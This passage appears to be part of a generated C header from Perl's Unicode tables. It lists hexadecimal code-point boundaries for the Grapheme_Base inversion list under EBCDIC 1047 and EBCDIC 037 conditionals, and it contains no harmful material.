/* for EBCDIC 1047 */ - 1583, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0xCA, - 0xCB, - 0xFF, - 0x100, - 0x300, - 0x370, - 0x378, - 0x37A, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x483, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58D, - 0x590, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x606, - 0x610, - 0x61B, - 0x61C, - 0x61E, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DE, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x70E, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7C0, - 0x7EB, - 0x7F4, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x830, - 0x83F, - 0x840, - 0x859, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x903, - 0x93A, - 0x93B, - 0x93C, - 0x93D, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x982, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9BE, - 0x9BF, - 0x9C1, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CD, - 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9E6, - 0x9FE, - 0xA03, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3E, - 0xA41, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA70, - 0xA72, - 0xA75, - 0xA83, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xAC1, - 0xAC9, - 0xACA, - 0xACB, - 0xACD, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAE6, - 0xAF2, - 0xAF9, - 0xAFA, - 0xB02, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB3E, - 0xB40, - 0xB41, - 0xB47, - 0xB49, - 0xB4B, - 0xB4D, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB66, - 0xB78, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBF, - 0xBC0, - 0xBC1, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCD, - 0xBD0, - 0xBD1, - 0xBE6, - 0xBFB, - 0xC01, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC41, - 0xC45, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC66, - 0xC70, - 0xC78, - 0xC81, - 0xC82, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCBF, - 0xCC0, - 0xCC2, - 0xCC3, - 0xCC5, - 0xCC7, - 0xCC9, - 0xCCA, - 0xCCC, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD02, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD3F, - 0xD41, - 0xD46, - 0xD49, - 0xD4A, - 0xD4D, - 0xD4E, - 0xD50, - 0xD54, - 0xD57, - 0xD58, - 0xD62, - 0xD66, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDD0, - 0xDD2, - 0xDD8, - 0xDDF, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE31, - 0xE32, - 0xE34, - 0xE3F, - 0xE47, - 0xE4F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBD, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF48, - 0xF49, - 0xF6D, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xFBE, - 0xFC6, - 0xFC7, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x102D, - 0x1031, - 0x1032, - 0x1038, - 0x1039, - 0x103B, - 0x103D, - 0x103F, - 0x1058, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1085, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1360, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1400, - 0x169D, - 0x16A0, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1720, - 0x1732, - 0x1735, - 0x1737, - 0x1740, - 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1780, - 0x17B4, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x17D4, - 0x17DD, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180B, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1923, - 0x1927, - 0x1929, - 0x192C, - 0x1930, - 0x1932, - 0x1933, - 0x1939, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A17, - 0x1A19, - 0x1A1B, - 0x1A1E, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A73, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1B04, - 0x1B34, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B4C, - 0x1B50, - 0x1B6B, - 0x1B74, - 0x1B7D, - 0x1B82, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BAE, - 0x1BE6, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1BF4, - 0x1BFC, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x1D00, - 0x1DC0, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x200B, - 0x2010, - 0x2028, - 0x202F, - 0x2060, - 0x2070, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20C0, - 0x2100, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2E00, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x302A, - 0x3030, - 0x3040, - 0x3041, - 0x3097, - 0x309B, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA6F8, - 0xA700, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA825, - 0xA827, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C4, - 0xA8CE, - 0xA8DA, - 0xA8F2, - 0xA8FE, - 0xA900, - 0xA926, - 0xA92E, - 0xA947, - 0xA952, - 0xA954, - 0xA95F, - 0xA97D, - 0xA983, - 0xA9B3, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9E5, - 0xA9E6, - 0xA9FF, - 0xAA00, - 0xAA29, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4D, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAAEC, - 0xAAEE, - 0xAAF6, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABED, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFE, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF01, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFFC, - 0xFFFE, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FD, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E1, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x1034B, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A40, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE5, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11000, - 0x11001, - 0x11002, - 0x11038, - 0x11047, - 0x1104E, - 0x11052, - 0x11070, - 0x11082, - 0x110B3, - 0x110B7, - 0x110B9, - 0x110BB, - 0x110BD, - 0x110BE, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11103, - 0x11127, - 0x1112C, - 0x1112D, - 0x11136, - 0x11144, - 0x11150, - 0x11173, - 0x11174, - 0x11177, - 0x11182, - 0x111B6, - 0x111BF, - 0x111CA, - 0x111CD, - 0x111CE, - 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x11238, - 0x1123E, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112DF, - 0x112E0, - 0x112E3, - 0x112F0, - 0x112FA, - 0x11302, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x1133F, - 0x11340, - 0x11341, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x1135D, - 0x11364, - 0x11400, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x11447, - 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x11480, - 0x114B0, - 0x114B1, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BD, - 0x114BE, - 0x114BF, - 0x114C1, - 0x114C2, - 0x114C4, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115AF, - 0x115B0, - 0x115B2, - 0x115B8, - 0x115BC, - 0x115BE, - 0x115BF, - 0x115C1, - 0x115DC, - 0x11600, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x11641, - 0x11645, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x11680, - 0x116AB, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x11730, - 0x11740, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A07, - 0x11A09, - 0x11A0B, - 0x11A33, - 0x11A39, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A50, - 0x11A51, - 0x11A57, - 0x11A59, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11A97, - 0x11A98, - 0x11A9A, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C30, - 0x11C3E, - 0x11C3F, - 0x11C40, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11CA9, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF5, - 0x16AF6, - 0x16B00, - 0x16B30, - 0x16B37, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D165, - 0x1D166, - 0x1D167, - 0x1D16A, - 0x1D16E, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D1E9, - 0x1D200, - 0x1D242, - 0x1D245, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA8C, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D0, - 0x1E900, - 0x1E944, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_GRBASE_invlist[] = { /* for EBCDIC 037 */ - 1583, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0xCA, - 0xCB, - 0xFF, - 0x100, - 0x300, - 0x370, - 0x378, - 0x37A, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x483, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58D, - 0x590, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x606, - 0x610, - 0x61B, - 0x61C, - 0x61E, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DE, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x70E, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7C0, - 0x7EB, - 0x7F4, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x830, - 0x83F, - 0x840, - 0x859, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x903, - 0x93A, - 0x93B, - 0x93C, - 0x93D, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x982, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9BE, - 0x9BF, - 0x9C1, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CD, - 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9E6, - 0x9FE, - 0xA03, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3E, - 0xA41, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA70, - 0xA72, - 0xA75, - 0xA83, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xAC1, - 0xAC9, - 0xACA, - 0xACB, - 0xACD, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAE6, - 0xAF2, - 0xAF9, - 0xAFA, - 0xB02, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB3E, - 0xB40, - 0xB41, - 0xB47, - 0xB49, - 0xB4B, - 0xB4D, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB66, - 0xB78, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBF, - 0xBC0, - 0xBC1, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCD, - 0xBD0, - 0xBD1, - 0xBE6, - 0xBFB, - 0xC01, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC41, - 0xC45, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC66, - 0xC70, - 0xC78, - 0xC81, - 0xC82, - 0xC84, - 